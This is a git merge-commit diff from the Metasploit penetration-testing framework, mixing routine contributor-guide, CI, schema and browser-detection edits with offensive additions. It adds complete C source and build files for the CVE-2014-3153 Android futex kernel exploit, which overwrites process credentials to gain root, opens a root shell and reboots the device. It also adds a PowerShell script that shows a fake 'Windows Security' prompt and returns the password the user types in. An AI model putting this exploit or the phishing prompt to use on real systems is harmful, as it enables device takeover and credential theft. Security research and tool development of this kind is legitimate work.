Merge branch 'master' into staging/rails-4.0

Conflicts:
	Gemfile.lock
	db/schema.rb
	metasploit-framework-db.gemspec
	metasploit-framework.gemspec
bug/bundler_fix
Matt Buck 2015-02-13 16:13:18 -06:00
commit d4d1dc09f3
No known key found for this signature in database
GPG Key ID: 42134E0C9C4E94BB
327 changed files with 15999 additions and 5192 deletions

View File

@ -11,11 +11,10 @@ matrix:
before_install:
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
- rake --version
# Uncomment when we have fewer shipping msftidy warnings.
# Merge committers will still be checking, just not autofailing.
# - ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
# - ls -la ./.git/hooks
# - ./.git/hooks/post-merge
# Fail build if msftidy is not successful
- ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
- ls -la ./.git/hooks
- ./.git/hooks/post-merge
before_script:
- cp config/database.yml.travis config/database.yml
- bundle exec rake --version

View File

@ -3,9 +3,7 @@
Thanks for your interest in making Metasploit -- and therefore, the
world -- a better place!
Are you about to report a bug? Sorry to hear it.
Here's our [Issue tracker](https://github.com/rapid7/metasploit-framework/issues).
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker].
Please try to be as specific as you can about your problem, include steps
to reproduce (cut and paste from your console output if it's helpful), and
what you were expecting to happen.
@ -13,7 +11,7 @@ what you were expecting to happen.
Are you about to report a security vulnerability in Metasploit itself?
How ironic! Please take a look at Rapid7's [Vulnerability
Disclosure Policy](https://www.rapid7.com/disclosure.jsp), and send
your report to security@rapid7.com using [our PGP key](http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D).
your report to security@rapid7.com using our [PGP key].
Are you about to contribute some new functionality, a bug fix, or a new
Metasploit module? If so, read on...
@ -25,52 +23,57 @@ and don'ts of how to make sure *your* valuable contributions actually
make it into Metasploit's master branch.
If you care not to follow these rules, your contribution **will** be
closed (*Road House* style). Sorry!
closed. Sorry!
This is intended to be a **short** list. The
[wiki](https://github.com/rapid7/metasploit-framework/wiki) is much more
This is intended to be a **short** list. The [wiki] is much more
exhaustive and reveals many mysteries. If you read nothing else, take a
look at the standard [development environment setup
guide](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment)
and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes).
look at the standard [development environment setup] guide,
and Metasploit's [Common Coding Mistakes].
## Code Contributions
* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide).
* **Do** get [Rubocop](https://rubygems.org/search?query=rubocop) relatively quiet against the code you are adding or modifying.
* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages.
* **Don't** use the default merge messages when merging from other
branches.
* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`.
* **Do** stick to the [Ruby style guide].
* **Do** get [Rubocop] relatively quiet against the code you are adding or modifying.
* **Do** follow the [50/72 rule] for Git commit messages.
* **Don't** use the default merge messages when merging from other branches.
* **Do** create a [topic branch] to work on instead of working directly on `master`.
### Pull Requests
* **Do** target your pull request to the **master branch**. Not staging, not develop, not release.
* **Do** specify a descriptive title to make searching for your pull request easier.
* **Do** include [console output](https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks), especially for witnessable effects in `msfconsole`.
* **Do** list [verification steps](https://help.github.com/articles/writing-on-github#task-lists) so your code is testable.
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
* **Do** list [verification steps] so your code is testable.
* **Don't** leave your pull request description blank.
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940) and [#3043](https://github.com/rapid7/metasploit-framework/pull/3043) are a couple good examples to follow.
Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
#### New Modules
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb).
* **Do** use the [many module mixin APIs](https://rapid7.github.io/metasploit-framework/api/). Wheel improvements are welcome; wheel reinventions, not so much.
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up.
- Even better would be to set up `msftidy.rb` as a [pre-commit hook].
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
* **Don't** include more than one module per pull request.
#### Scripts
* **Don't** submit new [scripts]. Scripts are shipped as examples for
automating local tasks, and anything "serious" can be done with post
modules and local exploits.
#### Library Code
* **Do** write [RSpec](http://rspec.info/) tests - even the smallest change in library land can thoroughly screw things up.
* **Do** follow [Better Specs](http://betterspecs.org/) - it's like the style guide for specs.
* **Do** write [YARD](http://yardoc.org/) documentation - this makes it easier for people to use your code.
* **Do** write [RSpec] tests - even the smallest change in library land can thoroughly screw things up.
* **Do** follow [Better Specs] - it's like the style guide for specs.
* **Do** write [YARD] documentation - this makes it easier for people to use your code.
* **Don't** fix a lot of things in one pull request. Small fixes are easier to validate.
#### Bug Fixes
* **Do** include reproduction steps in the form of verification steps.
* **Do** include a link to any corresponding [Issue](https://github.com/rapid7/metasploit-framework/issues) in the format of `See #1234` in your commit description.
* **Do** include a link to any corresponding [Issues] in the format of
`See #1234` in your commit description.
## Bug Reports
@ -80,9 +83,31 @@ Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940)
* **Don't** file duplicate reports - search for your bug before filing a new report.
If you need some more guidance, talk to the main body of open
source contributors over on the [Freenode IRC channel](http://webchat.freenode.net/?channels=%23metasploit&uio=d4)
or e-mail us at [metasploit-hackers](https://lists.sourceforge.net/lists/listinfo/metasploit-hackers)
mailing list.
source contributors over on the [Freenode IRC channel]
or e-mail us at [metasploit-hackers] mailing list.
Also, **thank you** for taking the few moments to read this far! You're
already way ahead of the curve, so keep it up!
[Issue Tracker]:http://r-7.co/MSF-BUGv1
[PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D
[wiki]:https://github.com/rapid7/metasploit-framework/wiki
[scripts]: https://github.com/rapid7/metasploit-framework/tree/master/scripts
[development environment setup]:http://r-7.co/MSF-DEV
[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide
[Rubocop]:https://rubygems.org/search?query=rubocop
[50.72 rule]:http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html
[topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches
[console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks
[verification steps]:https://help.github.com/articles/writing-on-github#task-lists
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
[API]:https://rapid7.github.io/metasploit-framework/api/
[RSpec]:http://rspec.info/
[Better Specs]:http://betterspecs.org/
[YARD]:http://yardoc.org/
[Issues]:https://github.com/rapid7/metasploit-framework/issues
[Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
[metasploit-hackers]:https://lists.sourceforge.net/lists/listinfo/metasploit-hackers

View File

@ -1,4 +1,4 @@
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework)
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework)
==
The Metasploit Framework is released under a BSD-style license. See
COPYING for more details.
@ -8,6 +8,9 @@ The latest version of this software is available from https://metasploit.com/
Bug tracking and development information can be found at:
https://github.com/rapid7/metasploit-framework
New bugs and feature requests should be directed to:
http://r-7.co/MSF-BUGv1
API documentation for writing modules can be found at:
https://rapid7.github.io/metasploit-framework/api

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
data/exploits/CVE-2014-3153.elf Executable file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -222,7 +222,13 @@ os_detect.getVersion = function(){
// Thanks to developer.mozilla.org "Firefox for developers" series for most
// of these.
// Release changelogs: http://www.mozilla.org/en-US/firefox/releases/
if ('copyWithin' in Array.prototype) {
if ('closest' in Element.prototype) {
ua_version = '35.0';
} else if ('matches' in Element.prototype) {
ua_version = '34.0';
} else if ('RadioNodeList' in window) {
ua_version = '33.0';
} else if ('copyWithin' in Array.prototype) {
ua_version = '32.0';
} else if ('fill' in Array.prototype) {
ua_version = '31.0';

Binary file not shown.

Binary file not shown.

View File

@ -479,7 +479,7 @@ class PythonMeterpreter(object):
pkt_length -= 8
packet = bytes()
while len(packet) < pkt_length:
packet += self.socket.recv(4096)
packet += self.socket.recv(pkt_length - len(packet))
return packet
def send_packet_tcp(self, packet):

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,22 @@
function Invoke-LoginPrompt{
$cred = $Host.ui.PromptForCredential("Windows Security", "R{DESCRIPTION}", "$env:userdomain\$env:username","")
$username = "$env:username"
$domain = "$env:userdomain"
$full = "$domain" + "\" + "$username"
$password = $cred.GetNetworkCredential().password
Add-Type -assemblyname System.DirectoryServices.AccountManagement
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
while($DS.ValidateCredentials("$full","$password") -ne $True){
$cred = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","")
$username = "$env:username"
$domain = "$env:userdomain"
$full = "$domain" + "\" + "$username"
$password = $cred.GetNetworkCredential().password
Add-Type -assemblyname System.DirectoryServices.AccountManagement
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
$DS.ValidateCredentials("$full", "$password") | out-null
}
$output = $newcred = $cred.GetNetworkCredential() | select-object UserName, Domain, Password
$output
R{START_PROCESS}
}

View File

@ -1001,3 +1001,4 @@ mendoza
sq!us3r
adminpasswd
raspberry
74k&^*nh#$

View File

@ -11,7 +11,7 @@
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 20150106201450) do
ActiveRecord::Schema.define(version: 20150205192745) do
# These are extensions that must be enabled in order to support this database
enable_extension "plpgsql"

View File

@ -0,0 +1,10 @@
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := exploit
LOCAL_SRC_FILES := exploit.c
LOCAL_CFLAGS := -fno-stack-protector -O0
include $(BUILD_EXECUTABLE)

View File

@ -0,0 +1,17 @@
all: install
build:
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk
install: build
mv libs/armeabi/exploit ../../../../data/exploits/CVE-2014-3153.elf
test: build
adb push libs/armeabi/exploit /data/local/tmp/exploit
adb shell "cd /data/local/tmp; ./exploit id"
clean:
rm -rf libs
rm -rf obj

View File

@ -0,0 +1,834 @@
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#define FUTEX_WAIT_REQUEUE_PI 11
#define FUTEX_CMP_REQUEUE_PI 12
#define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a)))
#define KERNEL_START 0xc0000000
#define LOCAL_PORT 5551
struct thread_info;
struct task_struct;
struct cred;
struct kernel_cap_struct;
struct task_security_struct;
struct list_head;
struct thread_info {
unsigned long flags;
int preempt_count;
unsigned long addr_limit;
struct task_struct *task;
/* ... */
};
struct kernel_cap_struct {
unsigned long cap[2];
};
struct cred {
unsigned long usage;
uid_t uid;
gid_t gid;
uid_t suid;
gid_t sgid;
uid_t euid;
gid_t egid;
uid_t fsuid;
gid_t fsgid;
unsigned long securebits;
struct kernel_cap_struct cap_inheritable;
struct kernel_cap_struct cap_permitted;
struct kernel_cap_struct cap_effective;
struct kernel_cap_struct cap_bset;
unsigned char jit_keyring;
void *thread_keyring;
void *request_key_auth;
void *tgcred;
struct task_security_struct *security;
/* ... */
};
struct list_head {
struct list_head *next;
struct list_head *prev;
};
struct task_security_struct {
unsigned long osid;
unsigned long sid;
unsigned long exec_sid;
unsigned long create_sid;
unsigned long keycreate_sid;
unsigned long sockcreate_sid;
};
struct task_struct_partial {
struct list_head cpu_timers[3];
struct cred *real_cred;
struct cred *cred;
struct cred *replacement_session_keyring;
char comm[16];
};
struct mmsghdr {
struct msghdr msg_hdr;
unsigned int msg_len;
};
//bss
int uaddr1 = 0;
int uaddr2 = 0;
struct thread_info *HACKS_final_stack_base = NULL;
pid_t waiter_thread_tid;
pthread_mutex_t done_lock;
pthread_cond_t done;
pthread_mutex_t is_thread_desched_lock;
pthread_cond_t is_thread_desched;
volatile int do_socket_tid_read = 0;
volatile int did_socket_tid_read = 0;
volatile int do_splice_tid_read = 0;
volatile int did_splice_tid_read = 0;
volatile int do_dm_tid_read = 0;
volatile int did_dm_tid_read = 0;
pthread_mutex_t is_thread_awake_lock;
pthread_cond_t is_thread_awake;
int HACKS_fdm = 0;
unsigned long MAGIC = 0;
unsigned long MAGIC_ALT = 0;
pthread_mutex_t *is_kernel_writing;
pid_t last_tid = 0;
int g_argc;
char rootcmd[2048] = "";
ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) {
int pipefd[2];
ssize_t len;
pipe(pipefd);
len = write(pipefd[1], writebuf, count);
if (len != count) {
printf("FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno);
while (1) {
sleep(10);
}
}
read(pipefd[0], readbuf, count);
close(pipefd[0]);
close(pipefd[1]);
return len;
}
ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) {
int pipefd[2];
ssize_t len;
pipe(pipefd);
write(pipefd[1], writebuf, count);
len = read(pipefd[0], readbuf, count);
if (len != count) {
printf("FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno);
while (1) {
sleep(10);
}
}
close(pipefd[0]);
close(pipefd[1]);
return len;
}
void write_kernel(int signum)
{
struct thread_info stackbuf;
unsigned long taskbuf[0x100];
struct cred *cred;
struct cred credbuf;
struct task_security_struct *security;
struct task_security_struct securitybuf;
pid_t pid;
int i;
int ret;
FILE *fp;
pthread_mutex_lock(&is_thread_awake_lock);
pthread_cond_signal(&is_thread_awake);
pthread_mutex_unlock(&is_thread_awake_lock);
if (HACKS_final_stack_base == NULL) {
static unsigned long new_addr_limit = 0xffffffff;
char *slavename;
int pipefd[2];
char readbuf[0x100];
printf("cpid1 resumed\n");
pthread_mutex_lock(is_kernel_writing);
HACKS_fdm = open("/dev/ptmx", O_RDWR);
unlockpt(HACKS_fdm);
slavename = ptsname(HACKS_fdm);
open(slavename, O_RDWR);
do_splice_tid_read = 1;
while (1) {
if (did_splice_tid_read != 0) {
break;
}
}
read(HACKS_fdm, readbuf, sizeof readbuf);
printf("addr_limit: %p\n", &HACKS_final_stack_base->addr_limit);
write_pipe(&HACKS_final_stack_base->addr_limit, &new_addr_limit, sizeof new_addr_limit);
pthread_mutex_unlock(is_kernel_writing);
while (1) {
sleep(10);
}
}
printf("cpid3 resumed.\n");
pthread_mutex_lock(is_kernel_writing);
printf("hack.\n");
read_pipe(HACKS_final_stack_base, &stackbuf, sizeof stackbuf);
read_pipe(stackbuf.task, taskbuf, sizeof taskbuf);
cred = NULL;
security = NULL;
pid = 0;
for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
struct task_struct_partial *task = (void *)&taskbuf[i];
if (task->cpu_timers[0].next == task->cpu_timers[0].prev && (unsigned long)task->cpu_timers[0].next > KERNEL_START
&& task->cpu_timers[1].next == task->cpu_timers[1].prev && (unsigned long)task->cpu_timers[1].next > KERNEL_START
&& task->cpu_timers[2].next == task->cpu_timers[2].prev && (unsigned long)task->cpu_timers[2].next > KERNEL_START
&& task->real_cred == task->cred) {
cred = task->cred;
break;
}
}
read_pipe(cred, &credbuf, sizeof credbuf);
security = credbuf.security;
if ((unsigned long)security > KERNEL_START && (unsigned long)security < 0xffff0000) {
read_pipe(security, &securitybuf, sizeof securitybuf);
if (securitybuf.osid != 0
&& securitybuf.sid != 0
&& securitybuf.exec_sid == 0
&& securitybuf.create_sid == 0
&& securitybuf.keycreate_sid == 0
&& securitybuf.sockcreate_sid == 0) {
securitybuf.osid = 1;
securitybuf.sid = 1;
printf("task_security_struct: %p\n", security);
write_pipe(security, &securitybuf, sizeof securitybuf);
}
}
credbuf.uid = 0;
credbuf.gid = 0;
credbuf.suid = 0;
credbuf.sgid = 0;
credbuf.euid = 0;
credbuf.egid = 0;
credbuf.fsuid = 0;
credbuf.fsgid = 0;
credbuf.cap_inheritable.cap[0] = 0xffffffff;
credbuf.cap_inheritable.cap[1] = 0xffffffff;
credbuf.cap_permitted.cap[0] = 0xffffffff;
credbuf.cap_permitted.cap[1] = 0xffffffff;
credbuf.cap_effective.cap[0] = 0xffffffff;
credbuf.cap_effective.cap[1] = 0xffffffff;
credbuf.cap_bset.cap[0] = 0xffffffff;
credbuf.cap_bset.cap[1] = 0xffffffff;
write_pipe(cred, &credbuf, sizeof credbuf);
pid = syscall(__NR_gettid);
for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
static unsigned long write_value = 1;
if (taskbuf[i] == pid) {
write_pipe(((void *)stackbuf.task) + (i << 2), &write_value, sizeof write_value);
if (getuid() != 0) {
printf("ROOT FAILED\n");
while (1) {
sleep(10);
}
} else { //rooted
break;
}
}
}
sleep(1);
if (g_argc >= 2) {
system(rootcmd);
} else {
system("/system/bin/sh -i");
}
system("/system/bin/touch /dev/rooted");
pid = fork();
if (pid == 0) {
while (1) {
ret = access("/dev/rooted", F_OK);
if (ret >= 0) {
break;
}
}
printf("wait 10 seconds...\n");
sleep(10);
printf("rebooting...\n");
sleep(1);
system("reboot");
while (1) {
sleep(10);
}
}
pthread_mutex_lock(&done_lock);
pthread_cond_signal(&done);
pthread_mutex_unlock(&done_lock);
while (1) {
sleep(10);
}
return;
}
void *make_action(void *arg) {
int prio;
struct sigaction act;
int ret;
prio = (int)arg;
last_tid = syscall(__NR_gettid);
pthread_mutex_lock(&is_thread_desched_lock);
pthread_cond_signal(&is_thread_desched);
act.sa_handler = write_kernel;
act.sa_mask = 0;
act.sa_flags = 0;
act.sa_restorer = NULL;
sigaction(12, &act, NULL);
setpriority(PRIO_PROCESS, 0, prio);
pthread_mutex_unlock(&is_thread_desched_lock);
do_dm_tid_read = 1;
while (did_dm_tid_read == 0) {
;
}
ret = syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
printf("futex dm: %d\n", ret);
while (1) {
sleep(10);
}
return NULL;
}
pid_t wake_actionthread(int prio) {
pthread_t th4;
pid_t pid;
char filename[256];
FILE *fp;
char filebuf[0x1000];
char *pdest;
int vcscnt, vcscnt2;
do_dm_tid_read = 0;
did_dm_tid_read = 0;
pthread_mutex_lock(&is_thread_desched_lock);
pthread_create(&th4, 0, make_action, (void *)prio);
pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
pid = last_tid;
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt = atoi(pdest);
fclose(fp);
}
while (do_dm_tid_read == 0) {
usleep(10);
}
did_dm_tid_read = 1;
while (1) {
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt2 = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt2 = atoi(pdest);
fclose(fp);
}
if (vcscnt2 == vcscnt + 1) {
break;
}
usleep(10);
}
pthread_mutex_unlock(&is_thread_desched_lock);
return pid;
}
int make_socket() {
int sockfd;
struct sockaddr_in addr = {0};
int ret;
int sock_buf_size;
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
if (sockfd < 0) {
printf("socket failed.\n");
usleep(10);
} else {
addr.sin_family = AF_INET;
addr.sin_port = htons(LOCAL_PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
}
while (1) {
ret = connect(sockfd, (struct sockaddr *)&addr, 16);
if (ret >= 0) {
break;
}
usleep(10);
}
sock_buf_size = 1;
setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
return sockfd;
}
void *send_magicmsg(void *arg) {
int sockfd;
struct mmsghdr msgvec[1];
struct iovec msg_iov[8];
unsigned long databuf[0x20];
int i;
int ret;
waiter_thread_tid = syscall(__NR_gettid);
setpriority(PRIO_PROCESS, 0, 12);
sockfd = make_socket();
for (i = 0; i < ARRAY_SIZE(databuf); i++) {
databuf[i] = MAGIC;
}
for (i = 0; i < 8; i++) {
msg_iov[i].iov_base = (void *)MAGIC;
msg_iov[i].iov_len = 0x10;
}
msgvec[0].msg_hdr.msg_name = databuf;
msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
msgvec[0].msg_hdr.msg_iov = msg_iov;
msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
msgvec[0].msg_hdr.msg_control = databuf;
msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
msgvec[0].msg_hdr.msg_flags = 0;
msgvec[0].msg_len = 0;
syscall(__NR_futex, &uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, 0, &uaddr2, 0);
do_socket_tid_read = 1;
while (1) {
if (did_socket_tid_read != 0) {
break;
}
}
ret = 0;
while (1) {
ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
if (ret <= 0) {
break;
}
}
if (ret < 0) {
perror("SOCKSHIT");
}
printf("EXIT WTF\n");
while (1) {
sleep(10);
}
return NULL;
}
static inline setup_exploit(unsigned long mem)
{
*((unsigned long *)(mem - 0x04)) = 0x81;
*((unsigned long *)(mem + 0x00)) = mem + 0x20;
*((unsigned long *)(mem + 0x08)) = mem + 0x28;
*((unsigned long *)(mem + 0x1c)) = 0x85;
*((unsigned long *)(mem + 0x24)) = mem;
*((unsigned long *)(mem + 0x2c)) = mem + 8;
}
void *search_goodnum(void *arg) {
int ret;
char filename[256];
FILE *fp;
char filebuf[0x1000];
char *pdest;
int vcscnt, vcscnt2;
unsigned long magicval;
pid_t pid;
unsigned long goodval, goodval2;
unsigned long addr, setaddr;
int i;
char buf[0x1000];
syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
while (1) {
ret = syscall(__NR_futex, &uaddr1, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr1);
if (ret == 1) {
break;
}
usleep(10);
}
wake_actionthread(6);
wake_actionthread(7);
uaddr2 = 0;
do_socket_tid_read = 0;
did_socket_tid_read = 0;
syscall(__NR_futex, &uaddr2, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr2);
while (1) {
if (do_socket_tid_read != 0) {
break;
}
}
sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt = atoi(pdest);
fclose(fp);
}
did_socket_tid_read = 1;
while (1) {
sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt2 = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt2 = atoi(pdest);
fclose(fp);
}
if (vcscnt2 == vcscnt + 1) {
break;
}
usleep(10);
}
printf("starting the dangerous things\n");
setup_exploit(MAGIC_ALT);
setup_exploit(MAGIC);
magicval = *((unsigned long *)MAGIC);
wake_actionthread(11);
if (*((unsigned long *)MAGIC) == magicval) {
printf("using MAGIC_ALT.\n");
MAGIC = MAGIC_ALT;
}
while (1) {
is_kernel_writing = (pthread_mutex_t *)malloc(4);
pthread_mutex_init(is_kernel_writing, NULL);
setup_exploit(MAGIC);
pid = wake_actionthread(11);
goodval = *((unsigned long *)MAGIC) & 0xffffe000;
printf("%p is a good number\n", (void *)goodval);
do_splice_tid_read = 0;
did_splice_tid_read = 0;
pthread_mutex_lock(&is_thread_awake_lock);
kill(pid, 12);
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
pthread_mutex_unlock(&is_thread_awake_lock);
while (1) {
if (do_splice_tid_read != 0) {
break;
}
usleep(10);
}
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt = atoi(pdest);
fclose(fp);
}
did_splice_tid_read = 1;
while (1) {
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt2 = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 19;
vcscnt2 = atoi(pdest);
fclose(fp);
}
if (vcscnt2 != vcscnt + 1) {
break;
}
usleep(10);
}
goodval2 = 0;
setup_exploit(MAGIC);
*((unsigned long *)(MAGIC + 0x24)) = goodval + 8;
wake_actionthread(12);
goodval2 = *((unsigned long *)(MAGIC + 0x24));
printf("%p is also a good number.\n", (void *)goodval2);
for (i = 0; i < 9; i++) {
setup_exploit(MAGIC);
pid = wake_actionthread(10);
if (*((unsigned long *)MAGIC) < goodval2) {
HACKS_final_stack_base = (struct thread_info *)(*((unsigned long *)MAGIC) & 0xffffe000);
pthread_mutex_lock(&is_thread_awake_lock);
kill(pid, 12);
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
pthread_mutex_unlock(&is_thread_awake_lock);
printf("GOING\n");
write(HACKS_fdm, buf, sizeof buf);
while (1) {
sleep(10);
}
}
}
}
return NULL;
}
void *accept_socket(void *arg) {
int sockfd;
int yes;
struct sockaddr_in addr = {0};
int ret;
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
yes = 1;
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
addr.sin_family = AF_INET;
addr.sin_port = htons(LOCAL_PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
listen(sockfd, 1);
while(1) {
ret = accept(sockfd, NULL, NULL);
if (ret < 0) {
printf("**** SOCK_PROC failed ****\n");
while(1) {
sleep(10);
}
} else {
printf("i have a client like hookers.\n");
}
}
return NULL;
}
void init_exploit() {
unsigned long addr;
pthread_t th1, th2, th3;
printf("running with pid %d\n", getpid());
pthread_create(&th1, NULL, accept_socket, NULL);
addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
addr += 0x800;
MAGIC = addr;
if ((long)addr >= 0) {
printf("first mmap failed?\n");
while (1) {
sleep(10);
}
}
addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
addr += 0x800;
MAGIC_ALT = addr;
if (addr > 0x110000) {
printf("second mmap failed?\n");
while (1) {
sleep(10);
}
}
pthread_mutex_lock(&done_lock);
pthread_create(&th2, NULL, search_goodnum, NULL);
pthread_create(&th3, NULL, send_magicmsg, NULL);
pthread_cond_wait(&done, &done_lock);
}
int main(int argc, char **argv) {
g_argc = argc;
if (argc >= 2) {
strlcat(rootcmd, "/system/bin/sh -c '", sizeof(rootcmd) - 1);
int i;
for (i=1;i<argc;i++) {
strlcat(rootcmd, argv[i], sizeof(rootcmd) - 1);
strlcat(rootcmd, " ", sizeof(rootcmd) - 1);
}
strlcat(rootcmd, "'", sizeof(rootcmd) - 1);
}
init_exploit();
printf("Finished, looping.\n");
while (1) {
sleep(10);
}
return 0;
}

View File

@ -93,7 +93,7 @@
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
